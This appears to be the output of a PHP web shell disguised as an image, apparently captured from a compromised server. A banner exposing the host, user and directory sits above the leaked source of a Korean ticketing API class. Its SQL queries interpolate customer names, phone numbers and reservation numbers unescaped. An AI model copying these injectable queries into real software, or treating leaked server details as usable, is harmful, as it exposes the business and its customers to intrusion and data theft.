ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/LibClass/ |
Upload File : |
<? /****************************************************************************** * * API 연동 제어 클래스 * ******************************************************************************/ class ApiManager{ private static $producer_id = ''; private static $obj = ''; private static $_error = ''; private static $test = false; function __construct($producer_id) { switch($producer_id){ case 'vivaldipark' : include_once PARTNER_DIR . "/sono/class.SonoManager.php"; if(!self::$obj){ self::$obj = new SonoManager(); } break; case 'ticketmanager' : break; default : $producer_id = 'ticketmanager'; break; } self::$producer_id = $producer_id; } // 공급처 상품조회 function searchProduct($prdt_no) { $producer_id = self::$producer_id; switch($producer_id){ case 'vivaldipark' : $api_result = self::$obj->searchProductDetail($prdt_no); if($api_result['resultCode'] != '0000'){ $this->error('API 오류.' . $api_result['resultMsg']); } $prdt_info = $api_result['ticketInfo'][0]; $result = array( 'valid_start' => $prdt_info['vaildThruBgnYmd'], // 유효시작 'valid_end' => $prdt_info['vaildThruEndYmd'], // 유효만료 'ticket_nm' => $prdt_info['ticketNm'], // 티켓명 ); break; } return $result; } // 공급처 티켓 발권 (정상 시 0000 리턴 필) function ticketing($ticketNo, $Qty, $Dt, $userName, $userTel, $rsv_no, $generation, $reserve_dt, $status) { $producer_id = self::$producer_id; if(devCookie()){ p($producer_id); } Log::save(sprintf("%s(%d) Product ID : %s", __FILE__, __LINE__, $producer_id), '', date('Ym')); Log::save(sprintf("%s(%d) rsv_no, status : %s %s", __FILE__, __LINE__, $rsv_no, $status), '', date('Ym')); switch($producer_id){ // 티켓관리 case 'ticketmanager' : //p($ticketNo, $Qty, $Dt, $userName, $userTel, $rsv_no, $generation, $reserve_dt); if($Qty <= 0 || $Qty == '') $Qty = 1; // 필요한 수량만큼 미사용티켓 불러옴 $sql = "select * from TB_TICKET where group_code = '{$ticketNo}' and rsv_no='' and ticket_status = 'W' and ti_use_dt = '0000-00-00 00:00:00' and del_flag = 'N' limit {$Qty}"; // if(devCookie()){ // p($sql); // } $rs = db_query($sql); $api_result['resultCode'] = "0000"; while ($row = db_fetch_array($rs)) { // 티켓 배정 $sql = "update TB_TICKET set ti_send_dt = now(),rsv_no='{$rsv_no}', ti_cust_nm='{$userName}', ti_cust_hp='{$userTel}', ti_generation='{$generation}', ti_reserve_dt = '{$reserve_dt}' where seq = {$row['seq']} limit 1"; Log::save(sprintf("%s(%d) Ticket Update : %s", __FILE__, __LINE__, $sql), '', date('Ym')); db_query($sql); // 티켓 이력관리 추가 TO_ticket_history_ins($row['seq'], "티켓 배정"); // 결과 $api_result['data'][] = array( 'ticket_seq' => $row['seq'], 'ticket_number' => $row['ticket_number'], // 티켓번호 ); } break; // 대명 SONO case 'vivaldipark' : // 티켓상품정보 $data = $this->searchProduct($ticketNo); $data['rsv_no'] = $rsv_no; $data['cust_nm'] = $userName; $data['cust_hp'] = $userTel; $data['generation'] = $generation; $data['reserve_dt'] = $reserve_dt; $data['group_code'] = $ticketNo; if($_COOKIE['ty_dev'] == 1){ echo '<pre>'; var_dump('ticketNo is '.$ticketNo); var_dump('Qty is '.$Qty); var_dump('Dt is '.$Dt); var_dump('userName is '.$userName); var_dump('userTel is '.$userTel); var_dump('rsv_no is '.$rsv_no); echo '</pre>'; } // 티켓발권 $api_result = self::$obj->ticketing($ticketNo, $Qty, $Dt, $userName, $userTel, $rsv_no); if($api_result['resultCode'] != '0000'){ Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $api_result['resultMsg']), '', date('Ym')); $this->error('API 오류.' . $api_result['resultMsg']); } $ticketNoInfo = $api_result['ticketNoInfo']; if($_COOKIE['ty_dev'] == 1){ echo '<pre>'; var_dump($api_result); echo '</pre>'; } foreach($ticketNoInfo as $k => $v) { $resultTicketNo = $v['resultTicketNo']; $ticket_number = $v['randomNumber']; if($ticket_number == ''){ $ticket_number = $resultTicketNo; } // 티켓관리에 티켓 등록 (발권 시 함께 등록) $this->ticket_regiser($ticket_number, $data); // 결과 $api_result['data'][] = array( 'ticket_seq' => $row['seq'], 'ticket_id' => $resultTicketNo, // 티켓 일련번호 'ticket_number' => $ticket_number, // 티켓번호 ); } break; } // 티켓 발권과 함께 티켓상태변경(발송완료) 처리 if($status == 'S' && count($api_result['data']) > 1){ $ticket_list = $api_result['data']; // if(devCookie()){ $res_data2 = res_good_master(" and rsv_no='{$rsv_no}' "); $row_res2 = res_good_master_replace($res_data2[0]); $isYanolja = false; if($row_res2['agent_id'] == 'yanolja'){ $isYanolja = true; $b2b_api_data = $row_res2['b2b_api_data']; $b2b_voucher = $row_res2['b2b_voucher']; $b2b_api_data_arr = json_decode($b2b_api_data,true); } Log::save(sprintf("%s(%d) TICKET b2b_api_data %s", __FILE__, __LINE__, json_encode($b2b_api_data)), '', date('Ym')); $ticketSeq = 0; foreach($ticket_list as $k => $v){ // 상태 (미사용 > 발송완료), 발송시간, 발송방법(SMS, LMS, MMS, AT, API) $sql = "update TB_TICKET set ticket_status = 'S', ti_send_dt = now(), ti_send_method = 'API', ti_send_hp = '' where seq = '{$v['ticket_seq']}'"; db_query($sql); Log::save(sprintf("%s(%d) TICKET UPDATE %s", __FILE__, __LINE__, $sql), '', date('Ym')); // 티켓 이력관리 추가 TO_ticket_history_ins($v['ticket_seq'], "API 발송완료"); // 티켓 이력관리2 추가 $orderCd = ""; if($isYanolja){ $orderCd = $b2b_api_data_arr[$b2b_voucher]['passengers'][$ticketSeq]['orderCd']; Log::save(sprintf("%s(%d) TICKET orderCd %s", __FILE__, __LINE__, $orderCd), '', date('Ym')); Log::save(sprintf("%s(%d) TICKET orderCd row_res2 %s", __FILE__, __LINE__, json_encode($row_res2)), '', date('Ym')); } Log::save(sprintf("%s(%d) TICKET orderCd isYanolja %s", __FILE__, __LINE__, $isYanolja), '', date('Ym')); TO_ticket_history_status_ins($v['ticket_seq'], 'S', $orderCd); $ticketSeq++; } /*}else{ foreach($ticket_list as $k => $v){ // 상태 (미사용 > 발송완료), 발송시간, 발송방법(SMS, LMS, MMS, AT, API) $sql = "update TB_TICKET set ticket_status = 'S', ti_send_dt = now(), ti_send_method = 'API', ti_send_hp = '' where seq = '{$v['ticket_seq']}'"; db_query($sql); Log::save(sprintf("%s(%d) TICKET UPDATE %s", __FILE__, __LINE__, $sql), '', date('Ym')); // 티켓 이력관리 추가 TO_ticket_history_ins($v['ticket_seq'], "API 발송완료"); // 티켓 이력관리2 추가 TO_ticket_history_status_ins($v['ticket_seq'], 'S'); } }*/ } return $api_result; } // 티켓관리 티켓등록 function ticket_regiser($ticket_number, $data) { $producer_id = self::$producer_id; if($ticket_number == '') return; switch($producer_id){ case 'vivaldipark' : $rsv_no = $data['rsv_no']; $mb_id = ""; $ticket_status = 'W'; // W 미사용 S 발송완료 $ticket_nm = $data['ticket_nm']; $group_code = $data['group_code']; $generation = $data['generation']; $valid_start = $data['valid_start']; $valid_end = $data['valid_end']; $cust_nm = $data['cust_nm']; $cust_hp = $data['cust_hp']; $reserve_dt = $data['reserve_dt']; break; } $sql = "insert into TB_TICKET set "; $sql .= " rsv_no='{$rsv_no}'"; $sql .= " ,ticket_nm='{$ticket_nm}'"; $sql .= " ,group_code='{$group_code}'"; $sql .= " ,producer_id='{$producer_id}'"; $sql .= " ,ti_generation='{$generation}'"; $sql .= " ,ti_valid_start='{$valid_start}'"; $sql .= " ,ti_valid_end='{$valid_end}'"; $sql .= " ,ticket_number='{$ticket_number}'"; $sql .= " ,ti_reserve_dt='{$reserve_dt}'"; $sql .= " ,ti_cust_nm='{$cust_nm}'"; $sql .= " ,ti_cust_hp='{$cust_hp}'"; $sql .= " ,ins_id='API'"; $sql .= " ,ins_dt=now()"; db_query($sql); // 티켓 이력관리 추가 $ticket_seq = db_insert_id(); TO_ticket_history_ins($ticket_seq, "API 티켓 등록"); Log::save(sprintf("%s(%d) 티켓 등록 : %s ", __FILE__, __LINE__, $sql), '', date('Ym')); } // 공급처 티켓취소 (주문번호기준 rsv_no) function cancelling($orderNo) { $producer_id = self::$producer_id; switch($producer_id){ case 'vivaldipark' : $api_result = self::$obj->cancelOrderNo($orderNo); // 주문번호 기준 취소 if($api_result['resultCode'] != '0000'){ Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $api_result['resultMsg']), '', date('Ym')); $this->error('API 오류.' . $api_result['resultMsg']); } Log::save(sprintf("%s(%d) 취소 API 성공 %s", __FILE__, __LINE__, $sql), '', date('Ym')); break; case 'ticketmanager' : $ticket_data = TO_list_ticket($orderNo); $api_result['resultCode'] = '0000'; foreach($ticket_data as $k => $v){ if($v['ticket_status'] != 'S'){ $error_msg = 'API 취소 오류 : 티켓 상태가 올바르지 않습니다.'; Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $error_msg), '', date('Ym')); $this->error($error_msg); } } foreach($ticket_data as $k => $v){ // 티켓 이력관리 추가 (취소 전 추가) TO_ticket_history_status_ins($v['seq'], 'C'); $ti_memo = $v['ti_memo'] . $v['ti_cust_nm'] . '에 의한 티켓 취소'; // 상태 (발송완료 > 미사용) $sql = "update TB_TICKET set ticket_status = 'W', rsv_no = '', ti_reserve_dt = '0000-00-00', ti_send_dt = '0000-00-00 00:00:00', ti_send_method = '', ti_cust_nm = '', ti_cust_hp = '', ti_memo = '{$ti_memo}' where seq = '{$v['seq']}'"; db_query($sql); Log::save(sprintf("%s(%d) TICKET UPDATE : %s", __FILE__, __LINE__, $sql), '', date('Ym')); // 티켓 이력관리 추가 TO_ticket_history_ins($v['seq'], "API에 의한 티켓 취소 및 초기화"); } if($api_result['resultCode'] != '0000'){ Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $api_result['resultMsg']), '', date('Ym')); $this->error('API 오류.' . $api_result['resultMsg']); } break; } return $api_result; } // 공급처 티켓취소 (티켓기준) function ticket_cancel($ticketNo) { $producer_id = self::$producer_id; switch($producer_id){ case 'vivaldipark' : $api_result = self::$obj->cancelTicketNo($ticketNo); // 주문번호 기준 취소 if($api_result['resultCode'] != '0000'){ Log::save(sprintf("%s(%d) API 오류 : %s", __FILE__, __LINE__, $api_result['resultMsg']), '', date('Ym')); $this->error('API 오류.' . $api_result['resultMsg']); } Log::save(sprintf("%s(%d) 취소 API 성공 %s", __FILE__, __LINE__, $sql), '', date('Ym')); break; } return $api_result; } public function error($msg) { self::$_error = $msg; Log::save(sprintf("%s(%d) Error : %s", __FILE__, __LINE__, self::$_error), '', date('Ym')); if(self::$test){ p("MSG ", $msg); } $result['resultCode'] = '9999'; $result['resultMsg'] = $msg; return $result; } }